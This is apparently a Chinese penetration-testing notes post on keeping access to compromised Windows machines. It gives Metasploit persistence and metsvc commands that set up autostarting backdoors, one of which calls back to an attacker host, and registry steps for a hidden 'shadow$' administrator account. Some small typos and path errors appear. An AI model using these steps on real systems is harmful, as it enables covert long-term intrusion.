权限维持
分两类记录一下
Windows
在目标系统中留下shellcode之后,仅仅是驻留在内存中,重新启动就会消失。需要进行后门植入才能长期的维持权限。
MSF persistence
首先就是MSF的渗透测试persistence模块。
1 | run persistence -X -i 5 -r ip -p port |
开启后门,在系统服务启动时自动启动,每5秒回连一次。这个方法需要在BypassUAC之后才能起作用。因为该方式会在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run
中添加开机自启动。由于权限问题不绕过UAC会导致启动失败。当然msf也提供了很多模块绕过UAC。
Metsvc
通过已有shell的目标主机上开启一个服务来提供后门。
1 | run metsvc -A |
执行成功后,会在C:WindowsTEMP目录下新建随机名称的文件夹,里面生成3个文件metsvc.dll、metsvc-server.exe、metsvc.exe
。也会启动一个名为Metsvc的服务自动绑定在31337端口。
建立影子账户
前面两个都是通过msf工具来完成的权限维持,也可以通过手动创建一个账户来维持权限。该账户无法使用net user
命令查看到,只能在注册表中看到。在Windows中,如果在用户名后面添加一个$
就可以达到目的。到这里是一个隐藏账户,而影子账户顾名思义,就是和本体(管理员)相同,却又看不到的账户。
添加账户需要的是system权限,administrator权限是不行的,因为morenzhucebiaoHKEY_LOCAL_MACHINE\SAM\SAM\
只有system权限才能修改。
首先需要建立一个隐藏账户,shadow&
:shadow
。
这个账户虽然用net user命令看不到,但是在控制面板能看到
然后win+R输入regedit打开注册表,找到HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/Name
。其中能看到我们新创建的隐藏账户。到处这个注册表命名为1.reg
。接下来观察这张注册表中的Type,在上级目录下能找到同名注册表。
同样导出,命名为2.reg
。一般Windwos的Administrator
用户的Type为1F4
,找到同名注册表,一般都是第一个,导出命名为3.ref
。将2.reg
中F的键值替换为3.reg
中对应的键值。接下来使用net user命令删除shadow$账户,完成之后双击导入的两个注册表,成功创建了影子账户。这样除了注册表中,其他位置均无法看到shadow$
账户。